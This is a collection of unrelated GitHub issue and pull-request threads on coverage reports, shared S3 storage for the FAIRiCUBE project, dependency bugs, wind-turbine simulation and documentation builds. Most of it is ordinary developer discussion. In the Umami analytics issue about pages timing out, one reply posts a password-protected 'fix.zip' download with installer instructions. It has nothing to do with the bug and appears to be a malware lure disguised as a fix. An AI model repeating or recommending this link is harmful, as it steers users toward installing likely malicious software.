updating version tags for Spark 2.0 preview release #3

Current coverage is 80.90% (diff: 100%)

Merging #613 into branch-2.0 will decrease coverage by 0.08%

@@           branch-2.0       #613   diff @@
============================================
  Files              80         80
  Lines            8056       8056
  Methods          1346       1346
  Messages            0          0
  Branches          991        991
============================================
- Hits             6525       6518     -7
- Misses           1169       1176     +7
  Partials          362        362

Powered by Codecov. Last update e14b92b...5c6e7bc


Ingestion of common/shared data

Hi everyone,
I am curious about the modalities of the shared s3 bucket on EOX Hub.
If I access data (Example: Requesting a .nc on Surface Map for the year 2019 via the CDS API) at the EOX Hub, I am currently storing that data in our UC specific bucket. I can imagine that happening for other Use Cases and data as well and I am wondering, if we are having a lot of redundant data in the UC specific buckets.
Are there any recommendations on how to handle this from EOX side @Schpidi @eox-cs1? Just copying files to the common s3 might cause a bit of a chaos due to naming and other reasons, that does not avoid redundancy.
I assume we will talk about this in our next weeks meeting, still it would be good to know if there are already some foreseen "best practices" and/or restrictions that need to be considered?
@KathiSchleidt @Susannaioni

@eox-cs1 @Schpidi we really need feedback on how to structure the S3 Buckets, how can UC partners:

make commonly accessible data available to all UC
keep sensitive data constrained to their UC
access both common and sensitive data via which server?

Related to the issue on server configuration, #64

* make commonly accessible data available to all UC

all UCs have access to a folder located at   /shared/fairicube or  /home//.shared/fairicube
In (below) this folder all Fairicube UCs can store data which is accessible by all UCs

* keep sensitive data constrained to their UC

every UC has its own s3 bucket associated. This is only accessible by the UC

* access both common and sensitive data via which server?

all UCs have access to a folder located at   /shared/fairicube or  /home//.shared/fairicube
The respective kernels (to be selected on the beginning of a session) influences the software tools available (as requested by each UC), but has no influence on the availability of the shared/private foldera (see above)
(see also  https://github.com/FAIRiCUBE/FAIRiCUBE-Hub-issue-tracker/issues/64)

@eox-cs1 where is this documented?

Hi @eox-cs1,
Thank you for your responses!
I have a very specific question.
I have uploaded a data to s3 bucket under UC4 server option.
So I understand this bucket is specific to UC4 users.
The resources (RAM) was not sufficient to run my code, so I plan to use another sever option (UC1) that has 60 GB of RAM and would be sufficient to run my code.
To avoid duplicating the data, I want to run the code after connecting to UC1 server option, and access data in UC4's s3 bucket, How can I do that?
Thanks in advance,
Best regards,
-Bachir.

A direct cross-UC access is not foreseen - would somehow contradict the separation.
However,  you can either use the common /shared/fairicube  folder for data exchange/access
OR
you can use the respective secrets from the desired storage and manually inject them to your environment (in addition to the use-case specific one). This should also give you access to the UC4 s3 bucket from UC1,
OR
you ask for a larger machine for UC4 (if you will need this more frequently)

@mari-s4e
Hey Maria,
this is somehow contradictory to where we have been exchanging data right?
So for accessing the shared folder none of the actions ducumented in the FAIRiCUBE Notebook  are necessary?
Because data there is not located under shared...
Can someone explain the difference?

Thanks @eox-cs1!
I think a direct cross-UC access makes sense with respect to users (limited access).
For instance, I am involved in both UC1 and UC4. A cross-UC access to "only" UC1 and UC4 would make sense.
This can be adapted to each user.
For the suggested options, how can I use option 2 (access UC4 bucket from UC1)? What commands should I run?
Thanks in advance.

@BachirNILU I believe in your case the simplest would be to add another profile option to UC4. Note that this per se does not incur costs, only when you run a session there are costs.
If you want to use data from a use case specific bucket at any other place you can retrieve the required details like access keys, etc. from the env variable for example with a command like printenv|grep S3_USER.

Thank you @Schpidi for your response!
This is great! If the additional UC4 profile option does not entail additional costs (unless used of course), that works perfectly for us (given that we do not use such memory frequently). A RAM of 60 GB will be great.
Thanks again!

@sonjastndl sorry, there is a little misunderstanding that I might have caused in the last call.
We offer two types of storage which "File Storage" and "Object Storage" which have slightly different capabilities.
Per default in a JupyterLab session you get your personal workspace as well as a shared folder (/shared/fairicube/ or ~/.shared/fairicube/) which are both persisted on File Storage.
In addition we provide Object Storage to each Use Case separately for example to use with Sentinel Hub. This Object Storage is for convenience mounted to ~/s3 for each user but preferably used via the s3 protocol.
On top of this we were asked to provide shared Object Storage accessible to all Use Cases. This is the fairicube bucket where access keys are shared for usage. This Object Storage is not automatically mounted in the JupyterLab session.
I hope this clarifies your questions.

@BachirNILU we'll roll out the required configuration tomorrow and enable a large profile for UC4.

@BachirNILU the big UC4 profile (Server Option) is now available

With this I believe we can come back to the original question 😉
From a technical point of view the questions to answer are:

Do I need the data only locally, i.e., in JupyterLab? --> Use your local workspace
Do I want to share the data with all users of FAIRiCUBE locally? --> Use the shared folder
Do I want to share the data with all users in my Use Case or do I need external access like via Sentinel Hub services? --> Use the UC bucket
Do I want to share the data with all users of FAIRiCUBE and need external access? --> Use the shared bucket

How to organize data on the bucket doesn't matter from a technical point of view but ,I agree, should be agreed on within a UC team or all FAIRiCUBE users and documented.

@Schpidi many thanks for the clarification, but I fear now I understand exactly nothing :(
I read about "File Storage" and "Object Storage" which have slightly different capabilities., but no indication of what these slight differences are
I then find either 3 or 4 options of where to put data:

Per default in a JupyterLab session you get your personal workspace as well as a shared folder (/shared/fairicube/ or ~/.shared/fairicube/) which are both persisted on File Storage.
In addition we provide Object Storage to each Use Case separately for example to use with Sentinel Hub. This Object Storage is for convenience mounted to ~/s3 for each user but preferably used via the s3 protocol.
On top of this we were asked to provide shared Object Storage accessible to all Use Cases. This is the fairicube bucket where access keys are shared for usage. This Object Storage is not automatically mounted in the JupyterLab session.

vs.

Do I need the data only locally, i.e., in JupyterLab? --> Use your local workspace
Do I want to share the data with all users of FAIRiCUBE locally? --> Use the shared folder
Do I want to share the data with all users in my Use Case or do I need external access like via Sentinel Hub services? --> Use the UC bucket
Do I want to share the data with all users of FAIRiCUBE and need external access? --> Use the shared bucket

On common bucket I've found some documentation in the FAIRiBOOK, requirement to install the s3browser
TL;DR; the more I read, the less I see. When can we expect clear documentation on this?

@KathiSchleidt it is always 4 options:

Your workspace
Shared folder in workspace
UC bucket
Shared bucket

The different capabilities specific to FiC are also mentioned: "... to use with Sentinel Hub." In general the difference is: "... used via the s3 protocol." from anywhere vs. normal file system only available in JupyterLab.
What are you missing?

@Schpidi what I'm missing is a clean description of these various dimensions (objects vs. files, buckets vs filesystem) and options for providing and using this data. I admit I'm exceptionally confused due to my being less active in FAIRiCUBE the last months, but based on discussions with UC partners, seems I'm not the only one.
I have the impression that the applicability of APIs is also somehow related (still waiting on that answer, now close to 5 months waiting :( ), please clarify where we can apply APIs
When can we expect this to be clearly explained in RTD?

@BachirNILU the big UC4 profile (Server Option) is now available

Thanks! It works.

@Schpidi am I correct that there is no ambition to document this? I just checked the adding datasets section on RTD, nothing there.

Added a first guide on storage to RTD for review either at https://fairicube--8.org.readthedocs.build/en/8/guide/storage/ or FAIRiCUBE/collaboration-platform#8 Happy to read your feedback.


Unresolved dependency of firebase-analytics

com.google.firebase:firebase-analytics dependency was change to com.google.firebase:firebase-core.
The code is not updated with this change.

@shivamg7 those are not the same dependency, but you're right that we should add firebase-core to this codelab.

Are you going to fix it?
I also get this:
There are some combinations of libraries, or tools and libraries, that are incompatible, or can lead to bugs. One such incompatibility is compiling with a version of the Android support libraries that is not the latest version (or in particular, a version lower than your targetSdkVersion).  Issue id: GradleCompatible


Eloquent uses a removed method

DateTimeInterface::getTimezone() has been removed from PHP since 5.5.0, however these lines still reference it.
Trying to execute this method will trigger a Call to undefined method error. See this question on StackOverflow.

(new \DateTime)->getTimezone() works on PHP 7.2.

@staudenmeir @browner12 Hmm looks like you're both right... I saw that question on StackOverflow and just assumed the PHP docs were correct without testing anything myself.

Just to confirm, there was an error with the PHP docs. I submitted a bug report there and it has been updated now: http://php.net/manual/en/datetime.gettimezone.php.

I have the same issue, just did an update via composer, so my application is down, cause of:
Call to undefined method DateTime::getTimezone()
If any one could help on how to solve this.

@med-ezzairi This issue is closed as it is not an issue with Laravel; it was an issue with the PHP docs at the time, which have since been updated. I would suggest you review your own code and make sure it's not a namespace problem (i.e. use new \DateTime instead of new DateTime) and if you still can't figure it out, post a question on StackOverflow with the minimum amount of  code needed to reproduce the error.


Events pages timing out

Describe the Bug
Something went wrong.
Loading chunk 6124 failed. (timeout: https://analytics.domainhere.com/_next/static/chunks/app/(main)/websites/[websiteId]/events/page-3cef783d99961a05.js)
ChunkLoadError
at d.f.j (https://analytics.domainhere.com/_next/static/chunks/webpack-916b329426e5b385.js:1:3362)
at https://analytics.domainhere.com/_next/static/chunks/webpack-916b329426e5b385.js:1:1427
at Array.reduce ()
at d.e (https://analytics.domainhere.com/_next/static/chunks/webpack-916b329426e5b385.js:1:1393)
at https://analytics.domainhere.com/_next/static/chunks/7023-55af897905404a48.js:2:18878
at https://analytics.domainhere.com/_next/static/chunks/7023-55af897905404a48.js:2:19080
at t (https://analytics.domainhere.com/_next/static/chunks/7023-55af897905404a48.js:2:19283)
Database
MySQL
Relevant log output
No response
Which Umami version are you using? (if relevant)
No response
Which browser are you using? (if relevant)
No response
How are you deploying your application? (if relevant)
No response

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Try turning off your adblocker.

Try turning off your adblocker.

Yup, that was it...thank you!!


Help on explanation of the differences between the FAST- and WT-simulated thrust forces

Hi,
We have been trying to figure out the reasons causing the difference in the time-averaged thrust coefficients of the NREL 5MW wind turbine obtained from wind tunnel experiments and FAST simulations.  We use the 1/150 geometrically scaled model in the atmospheric boundary layer wind tunnel. Similarities are controlled on: (i) Tip Speed Ratio (TSR), (ii) the blade pitch angle, and (iii) the upstream turbulent wind conditions. For the 10-deg blade pitch angle and TSR = 3.17, the FAST-simulated thrust coefficient (about 0.25) is nearly 3 times the wind tunnel model.
Is there any comment/reference to explain the difference?
Thanks
Jason Wu

Dear @JasonWuTkuTw,
How does the Reynolds number compare between the FAST simulations and the wind tunnel experiment?  Are you using airfoils in the wind tunnel that are appropriate, considering the likely of a Reynolds number mismatch?
Best regards,

Dear @jjonkman
Thanks for your comment.
Yes, I just realize the Reynolds number can play a significant role, and some papers even adjust the model airfoil shapes and/or dimensions to compensate effects of Reynolds number to match the overall forces. If I wish to use FAST to simulate the Low-Reyolds scenario (i.e., the Wind Tunnel simulations), can I just modify the airfoil aerodynamic coefficients accordingly in the *.dat file for AeroDyn (e.g., NACA64_A17.dat)? Or should I do something more? If that's the case, is there any aerodynamic data of the NREL 5MW airfoils measured under low Reynolds numbers, or can I go to some open software, e.g., XFoil, to obtain corresponding data?
The other thing I found is my misunderstanding of the definition of pitch angle.  We thought it was based on the root sectional pitch angle but in fact, it is based on tip sectional pitch. Just want to confirm this point as well.
Very appreciate your help,
Jason

Dear @JasonWuTkuTw,
Yes, to account for low-Reynold's number in FAST / OpenFAST, you should change the airfoil data (or use airfoil data with Reynolds-number dependence and AFTapMod = 2 (2D interpolation on AoA and Re) in AeroDyn v15).  But I'm not familiar with what airfoil data exists at different Reynolds numbers for the DU and NACA airfoils used by the NREL 5-MW baseline wind turbine.  Again, it is common to use airfoils appropriate for low Reynolds number conditions in wind tunnel tests.
The pitch angle in the NREL 5-MW specifications report follows the convention used by OpenFAST: the pitch angle is defined relative to zero twist, such that the angle between the rotor plane and the chordline is the sum of the pitch and twist angles (including any elastic twist).
Best regards,

Dear @jjonkman
Thank you very much. Your insights are very helpful.
Jason


Switching out a video for the intro gif

Staging site link

Docs Build status updates of commit 8dc92e2:
:clock10: Pending: waiting for processors (6 builds ahead of you)
:warning: Docs Build is busy, currently there are 6 builds ahead of this one, for more information you can view the Build queue graph on the Docs Portal.

Docs Build status updates of commit 8dc92e2:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docs/overview/excel.md
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.

Docs Build status updates of commit 36cfed4:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docs/overview/excel.md
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.

Docs Build status updates of commit b673e78:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docs/overview/excel.md
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


Analyzing crash

r2q1rnk/ppR5/3P2pp/1P1Nbp2/4p3/BQ4P1/P3BP1P/6K1 w KQkq -
Crashes.

This is a poorly specified FEN.  Should not have KQkq specified for castling rights.


fix: remove duplicated entries in the changelog

Closes #148
Proposed Changes

Remove duplicated entries in Changelogs

Looks good to me!


Document ClusterTrustBundles

This is my take on PR #40065.
Rather than mention trust bundles as a subtopic of certificate signing requests (which is what #40065 would do if merged), reshape the page so that:

it's clear that CSRs are stable but ClusterTrustBundles are alpha
the task for issuing a certificate to a user stands separately from the concepts explained elsewhere in the page
it's clear that signers are relevant to both CSRs and ClusterTrustBundles

Advice to reviewers
Because this is a mix of changes to the existing text and new content, I recommend reviewing it by commit to see the net-new section and then looking at the second commit locally using git diff --color-moved.
You should also look at a local preview or Netlify deploy preview to see the right-hand navigation, and compare that to:

the preview for #40065 (not available via Netlify, but you can preview locally)
the preview for the v1.27 docs
the live v1.26 docs (link valid at time of writing)

Comments
I think we should merge this, even though there are moves of existing text. I'd be happy to merge a revised #40065 but that hasn't happened. When I looked, it felt clear to me that the page we'd merge would be confusing, especially around how we explain signers. So, I revised it. My aim was to make the text work for people who are already familiar with the signer subconcept, and be equally suitable for an audience that hasn't seen that before.
I didn't address the awkward (lack of) difference between #signers and #signing. I think we should take care of that, but in a separate PR. The existing page suffers from the same defect so it's not a regression, it's just more obvious.
/language en
/sig auth

/lgtm

/approve


Runtime: Less eager instantiation of type metadata in the conformance cache [5.2]

The ConformanceCandidate constructor would eagerly instantiate metadata for
all non-generic types in the conformance cache. This was not the intention
of the code though, because it can compare nominal type descriptors --
which are emitted statically -- for those types that have them, namely
everything except for foreign and Objective-C classes.
Change the order of two calls so that the lazy path has a chance to run.
This fixes a crash when type metadata uses weakly-linked symbols
which are not available, which can come up in backward deployment
scenarios.
Fixes rdar://problem/59460603.

@swift-ci Please test

Build failed
Swift Test Linux Platform
Git Sha - 0973293ea32244580ef56c129ee7fae699687d8b

@swift-ci Please test Linux


Bug: Scope in blocks does not get evalutated in While loops

var a = 1;
while( a< 10)
{
a = a+1;
};
does not work as expected, scope resets on each loop
Behaviour is not replicated when removed from block statement

FIxed in Commit 1b1d4aa - fix: Scoping Bug


varmisuse_data_splitter

Hi,Good evening~
I am confused about using reorg_varmisuse_data file and I need your help.
I know that when this file runs to the end, the varmisuse_data_splitter.py file is not executed,
The error is as follows：
“
File "./utils/varmisuse_data_splitter.py", line 26
def _data_loading_worker(file_queue:Queue, result_queue:Queue) -> None:
^
SyntaxError: invalid syntax
”
I tried to solve this problem, but it didn't work.If you can provide some help, thank you so much!!!!

This looks like your python executable still points to the deprecated and outdated Python 2. You should be able to fix the issue by changing the call in reorg_varmisuse_data.sh to use python3 explicitly. I've just pushed that change, and you should be able to run things using the updated codebase.

Thank you very much for solving my problem in time. good luck~


Undertale not loading at all in D9VK

Simply put, with this game will not run with D9VK at all.  Command line just repeatedly outputs "warn:  D3D9SwapChainEx::GetRasterStatus: Stub" as a result.  It works fine without D9VK.
Software information
Undertale, default settings, no ReShade injection yet.
System information

GPU: GeForce GTX-1060 3GB
Driver: 430.34 Proprietary
Wine version: 4.11
DXVK version: 0.13 and master (installed via winetricks, not sure how to install winelib build on Feedora)
Distribution:  Fedora 30 Design Suite

Apitrace file(s)
https://drive.google.com/open?id=1VppEl9FgwrsOqOES6tBbbtgSULT1LvJH
Log files
UNDERTALE_d3d9.log

Should be fixed by https://github.com/Joshua-Ashton/d9vk/commit/21208bb32dc4da38bd73f40c1a488cf215e2b25c
Can you verify?

It works for me.


Introduce ParentchainHandlers inside the enclave

This PR aims to allow relatively cleanly separate the (multiple) parentchain handling inside the enclave by introducing the following changes:

Refactoring: Moved the initialization specific files to a separate folder inside enclave-runtime. Moved the parentchain specific initialization to a separate file.
Introduce two Parentchain Handler structs FullParachainHandler and FullSolochainHandler  that contain all the necessary components for their specific parentchain. This allows/enforces the following:

All parentchain specific components are not accessed via global components any more, but via the parentchain global component. This lays the groundwork for introducing multiple parentchains inside the enclave.
Because our parentchains are currently dynamically allocated, some helper functions for getting the specific parentchain components were introduced. They should be removed with #1080

Exchange LightClientInitParams enum with ParentchainInitParams enum that consists of ParachainParams and GrandpaParams. Unlike the LightClientInitParams  it is not light-client specific and does not hold any parentchain specific parameter knowledge.
Introduction of BlockImportDispatcher as a Wrapper struct for our two different Dispatcher types.

Effect: If the SDK user wants to add a custom parentchain, this can be by doing the following (once the parentchain is not dynamically allocated any more, see #1080 )
1. Introduce the necessary init input parameters
For example light client parameters just like in light_client_init_params.rs
#[derive(Encode, Decode, Clone)]
pub struct CustomParentchainParams<Header> {
	pub genesis_header: Header,
        ....
}

2. Introduce a new ParentchainHandler in the enclave
in the initialization/parentchain part:
 #[derive(Clone)]
pub struct CustomChainHandler {
	pub genesis_header: HeaderFor<ParentchainBlock>,
	pub node_metadata_repository: Arc<EnclaveNodeMetadataRepository>,
	...
}

And let it implement an init function.
3. Expand the ParentchainInitParams enum:
Expand it with the previously introduced custom parentchain param, e.g.
ParentchainInitParams::Cutstom{ encoded_params }

and expand the match case function  with the newly implemented init function
4. Introduce a new global component:
/// Custom Chain Handler.
pub static GLOBAL_CUSTOM_CHAIN_HANDLER_COMPONENT: ComponentContainer<CustomChainHandler> =
	ComponentContainer::new("custom chain handler");

5. Adapt the  sync_parentchain
Not yes usable, as the dynamic allocation is still untouched. Should be changed after #1080
6. Put it to usage
E.g.:

introduce the parentchain components wherever this custom parentchain should be accessed inside the enclave
call the init call from the untrusted side
call the sync (if needed) from the untrusted side

Big picture
(not yet implemented, this will be done step by step until https://github.com/integritee-network/worker/issues/1080

closes #1046

Looks good, please merge resolve the conflicts, and then we can merge this. :)

@clangenb resolved. Please merge whenever :)


The shadow calculator is NOT pulling the maps/date from Google maps

An error is displayed as follows: -
Sorry! Something went wrong.
This page didn't load Google Maps correctly. See the JavaScript console for technical details.
Can this be fixed urgently or advise if there is something I can do on my own Mac to get this working please?

@mrlund, can you help please to resolve this issue? Thank you.

Sorry, just because I submitted a PR 5 years ago doesn't make me well suited to fixing your issue. Also, spaming me through unrelated repos makes me less inclined to help, even if I was able.

@vinga is there a chance you could fix this? I see the same happend 3 years ago and you managed to help then


wradlib dependency dbtree migrated to  xarray

The wradlib dependency dbtree has migrated to xarray resulting in a DeprecationWarning when running nox tests in the current poetry environment. Using xarray v2024.10.0 and xarray-datatree v0.0.15.

As discussed, we either do #22 soon or we wait till xradar fixes this upstream which I guess will happen within some days.

For information: This was now fixed in xradar https://github.com/openradar/xradar/issues/149#issuecomment-2438095039 and we can unpin things now.
Implementing #22 will probably not be done soon due to limited time...


Merge pull request #61 from chingu-voyages/development

Update Main from Development

I'm not sure why it has showed up. But if I close this PR it will close main branch too

This pull request was made by mistake.


Add API documentation for upsampling operator with examples

Description
Fixes https://github.com/apache/incubator-mxnet/issues/12970
Upsampling operator did not had valid documentation and example usage leading to issues like - #12970
Checklist
Essentials
Please feel free to remove inapplicable items for your PR.

[X] Changes are complete (i.e. I finished coding on this PR)
[X] Code is well-documented:
For user-facing API changes, API doc string has been updated.
Check the API doc at http://mxnet-ci-doc.s3-accelerate.dualstack.amazonaws.com/PR-$PR_ID/$BUILD_ID/index.html
[X] To the my best knowledge, examples are either not affected by this change, or have been fixed to be compatible with this change

Changes

Add clear API documentation for upsampling operator

@aaronmarkham @vandanavk  - Can you please help review this?

@mxnet-label-bot add [pr-awaiting-review, Doc]
@sandeep-krishnamurthy LGTM. Could you add a link to the preview of the webpage once CI passes?

http://mxnet-ci-doc.s3-accelerate.dualstack.amazonaws.com/PR-14919/1/api/python/ndarray/ndarray.html?highlight=upsampling#mxnet.ndarray.UpSampling

A couple of suggestions.
Also, in another PR is was suggested by @eric-haibin-lin that the Python examples be placed in a special docs generator class, and the C example be left as pseudo-code.

Makes sense, will make it pseudocode. Other comments addressed. Thanks.

@aaronmarkham - Addressed the comments, made it pseudocode.


Automator: update<EMAIL_ADDRESS>dependency in<EMAIL_ADDRESS>

Generated by Automator - 2023-12-07T14:43:13+00:00

/test unit-tests


added framework for login and register

added framework for login and register. please don't be shy about recommending changes and keep in mind it has a ways to go.

could you put the Home.js file in the components folder? Since it is the login page

will add Home to components folder on next commit


Chore example

This PR just add a way for people to quickly test out.
It also name example crate explicitly, so that for example locally I use a justfile to handle all the repetitive tasks (build with cargo, copy mod folders to game install, etc).
Finally while testing it out I found a funny bug with OperatorAdd, see:

looks good


[docs] Revise and expand the Joy UI Card page

Part of #33998
This PR revises and expands the Joy UI Card page. Notable changes include:

updated structure, formatting, grammar, style
added Anatomy section
expanded on the usage of the supplementary components and best practices for actions

@siriwatknp I tried playing around with the Card Cover demo that showed multiple darkened layers, but ultimately I just cut it entirely because I felt that the gradient overlay demo does a better job of showing a realistic use case for this feature. We could add a new one if you have ideas, but I think it's sufficient to just state that it's possible to create multiple layers of Card Covers when introducing the gradient demo.

We could add a new one if you have ideas, but I think it's sufficient to just state that it's possible to create multiple layers of Card Covers when introducing the gradient demo

How about this https://codesandbox.io/s/dawn-violet-8rfs3d?file=/demo.tsx? Not sure if it is too much or not.

How about this https://codesandbox.io/s/dawn-violet-8rfs3d?file=/demo.tsx? Not sure if it is too much or not.

OK that is extremely cool @siriwatknp ! I love it! 🤩 I think it perfectly illustrates the layers. I'll incorporate it into the final draft.

Awesome, this is now a very smooth read! My only consideration though ⎯ not critical ⎯ is if we should add links when mentioning other components, such as:

"The demo below shows a typical Card that groups together Typography, Aspect Ratio, and Button components..."

@danilo-leal I considered that as well, but I think in a case like this it's preferable not to throw too many links at the reader. I don't want to encourage them to open 5 tabs at the same time and then lose their place! 😁 It makes more sense when it's just one or two components mentioned, and especially if there's some kind of special features/integrations that connect them.

@siriwatknp I took your rotating 3D demo and made it more abstract to introduce the usage of the Card Cover and Content components in the Card layers section. Let me know what you think! Feel free to adjust the dimensions if I butchered them too badly! 😁

@siriwatknp I took your rotating 3D demo and made it more abstract to introduce the usage of the Card Cover and Content components in the Card layers section. Let me know what you think! Feel free to adjust the styles/dimensions if I butchered them too badly! 😁
https://codesandbox.io/s/vgnjbh

Looks great, pushed some updates to make border-radius perfect for the CardLayers3d demo.


Why does core50 dataset does not use ImageFolderDataset classes?

Core50 has a tree-like structure and that what ImageFolderDataset is meant for

Not exactly, they have domain and class folders

ok I close the issue then


Examples  deploy  Sagemaker AWS

is there an example of deploy a model using an ollama in a Endpoint SageMaker AWS  ?

Economically Sagemaker is pay for what you use, as opposed to running an EC2 instance 24/7 on AWS which is expensive if using a p2 instance family. https://aws.amazon.com/ec2/instance-types/p2/
I don't believe you have terminal access with SageMaker. Is this something that amazon has to implement, or is this something we can do as users?

Economically Sagemaker is pay for what you use, as opposed to running an EC2 instance 24/7 on AWS which is expensive if using a p2 instance family. https://aws.amazon.com/ec2/instance-types/p2/

It seems the question was different...
Sagemaker works great via APIGateway AWS
do you need a link?

Hi there, SageMaker notebooks usually have a terminal tab where I believe you can install Ollama using the instructions at ollama.com/download/linux: https://docs.aws.amazon.com/sagemaker/latest/dg/howitworks-access-ws.html


Add required ReadTheDocs configuration

Should fix broken RTD doc builds. Needed because of https://blog.readthedocs.com/migrate-configuration-v2/

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 96.44%. Comparing base (54dabad) to head (5bb0912).

Additional details and impacted files
@@           Coverage Diff           @@
##           master     #120   +/-   ##
=======================================
  Coverage   96.44%   96.44%
=======================================
  Files           8        8
  Lines        1999     1999
=======================================
  Hits         1928     1928
  Misses         71       71

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


labels should not contain the 'for' HTML attribute when readonly

This is because no element with that id exists (values are rendered as text instead of within form input elements). This results in more conformant HTML and reduces the page size a little.

(deleted hounds-bot comments referred to difference in our style guide on single and double quotes)

Hi @joshpencheon I've made that change. Please squash this up when merging, cheers.


Special Abilities for Lycaon

Lycaon should be able to obtain powerups to increase his survivability,

Dash mechanic : powerup that allows him to dash forward three times (like in mario kart)
Invisiblity / Invulnerability powerup
Return to sender powerup that sends lightning strike back to Zeus and depletes his mana.
Fog powerup : when picked up fog renders Lycaon barely visible to Zeus.

Added Lycaon duplication upon potion consumption
a second lycaon appears which only moves if Lycaon advances
He otherwise moves like a random walk
Added a speed powerup, increases speed by 30% whenever taken, is stackable.
All prefabs with their appropriate settings.


how to load environment variables from a secrets manager ?

currently i always have to do:
doppler run -- just <command>

i would like to just do:
just <command>

and somewhere in the justfile it will load the doppler variables, how can i do this?
https://github.com/dotabod/backend/blob/master/justfile
related: https://github.com/casey/just/issues/945#issuecomment-1126410263

You should be able to setup your command in question in a hidden recipe and have a public recipe call it with the integration environment
# Public Integration Recipe
command:
	doppler run -- just _command

# Hidden Actual Recipe
_command:
	# all the code...

unfortunately that doesn't work me.
just command gives me Doppler Error: Invalid Auth token. However if I type doppler run -- just _command in the terminal it works fine

I wish we had a general solution for these kinds of thing. This is an instance of the more general problem that you cannot run a command which exports variables, and then have those variables exported to your just recipes.
In this case, can you have doppler export secrets to a .env file, which just then loads?


typescript definitelytyped

I want to use foundation-apps with typescript, but I could not find  definitelytyped in https://github.com/DefinitelyTyped/DefinitelyTyped

This is a newer library, so nobody has written any type definitions for us yet. We don't use TypeScript here at ZURB, so we don't have the knowledge (or time) to put one together ourselves.
If you are interested in putting one together, we can promote it on our Resources wiki page. :)


packaging of the application fails

While trying to package this application, getting below error:
!     Deprecated, old ./Godeps file found!
!     Please upgrade godeps (go get -u github.com/tools/godep) and
!     re-save your dependencies: godep save -r ./...
parse error: Invalid numeric literal at line 1, column 34

does somebody have a rpm file for centos6 ?

This appears to be related to the environment you're trying to build in. You may have an old version of gpm. Please make sure to follow the readme directions.
As a note, we're moving from gpm to dep in the 1.0 rewrite.


Update get-product-data.md

removed spaces that are not needed from json properties.

Thanks, @Ben-Carpenter for the PR!


Black Screen on Android

When i play media through this plugin on android emulator. Only black screen is shown, but the audio is still playing.
Dont know if its related, but i get this error on MediaKit.ensureInitialized();

Flutter doctor
[✓] Flutter (Channel stable, 3.19.0, on macOS 14.2.1 23C71 darwin-arm64, locale ru-RU)
    • Flutter version 3.19.0 on channel stable at /opt/homebrew/Caskroom/flutter/3.7.6/flutter
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision bae5e49bc2 (2 months ago), 2024-02-13 17:46:18 -0800
    • Engine revision 04817c99c9
    • Dart version 3.3.0
    • DevTools version 2.31.1

[✓] Android toolchain - develop for Android devices (Android SDK version 34.0.0)
    • Android SDK at /Users/ykozyrenko/Library/Android/sdk
    • Platform android-34, build-tools 34.0.0
    • Java binary at: /Applications/Android Studio.app/Contents/jbr/Contents/Home/bin/java
    • Java version OpenJDK Runtime Environment (build 17.0.9+0-17.0.9b1087.7-11185874)
    • All Android licenses accepted.

[✓] Xcode - develop for iOS and macOS (Xcode 15.2)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • Build 15C500b
    • CocoaPods version 1.15.2

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] Android Studio (version 2023.2)
    • Android Studio at /Applications/Android Studio.app/Contents
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart
    • Java version OpenJDK Runtime Environment (build 17.0.9+0-17.0.9b1087.7-11185874)

[✓] VS Code (version 1.88.1)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.86.0

[✓] Connected device (3 available)
    • sdk gphone64 arm64 (mobile)  • emulator-5554             • android-arm64  • Android 14 (API 34) (emulator)
    • macOS (desktop)              • macos                     • darwin-arm64   • macOS 14.2.1 23C71 darwin-arm64
    • Chrome (web)                 • chrome                    • web-javascript • Google Chrome 111.0.5563.64

[✓] Network resources
    • All expected network resources are available.

• No issues found!

can you try the package from github?
dependency_overrides:
  media_kit:
    git:
      url: https://github.com/media-kit/media-kit
      path: media_kit
  media_kit_video:
    git:
      url: https://github.com/media-kit/media-kit
      path: media_kit_video
  media_kit_libs_video:
    git:
      url: https://github.com/media-kit/media-kit
      path: libs/universal/media_kit_libs_video

@abdelaziz-mahdy Nope, same thing happens
This is my pubspec.yaml file, if you need it
name: mirror
description: "A new Flutter project."
publish_to: 'none' # Remove this line if you wish to publish to pub.dev

version: 1.0.0+1

environment:
  sdk: '>=3.3.0 <4.0.0'

dependencies:
  flutter:
    sdk: flutter

  cupertino_icons: ^1.0.6
  bloc: ^8.1.3
  flutter_bloc: ^8.1.4
  injectable: ^2.3.5
  get_it: ^7.6.7
  auto_route: ^7.9.2
  hive: ^2.2.3
  freezed_annotation: ^2.4.1
  flutter_svg: ^2.0.10+1
  path_provider: ^2.1.2
  flutter_gen: ^5.4.0
  flutter_native_splash: ^2.4.0
  flutter_launcher_icons: ^0.13.1
  flutter_screenutil: ^5.9.0
  flutter_multi_formatter: ^2.12.4
  dio: ^5.4.3+1
  collection: ^1.18.0
  smooth_page_indicator: ^1.1.0
  intl: ^0.19.0
  json_annotation: ^4.8.1
  video_thumbnail: ^0.5.3
  faker: ^2.1.0
  file_picker: ^8.0.0+1
  dio_request_inspector: ^3.0.1
  image_picker: ^1.0.7
  transparent_pointer: ^1.0.0
  url_launcher: ^6.2.5
  http_parser: ^4.0.2
  dio_cookie_manager: ^3.1.1
  cookie_jar: ^4.0.8
  uuid: ^3.0.7

  media_kit: ^1.1.10
  media_kit_video: ^1.2.4
  media_kit_libs_video: ^1.0.4
  media_kit_libs_android_video: ^1.3.6
  media_kit_native_event_loop: ^1.0.8
  media_kit_libs_ios_video: ^1.1.4

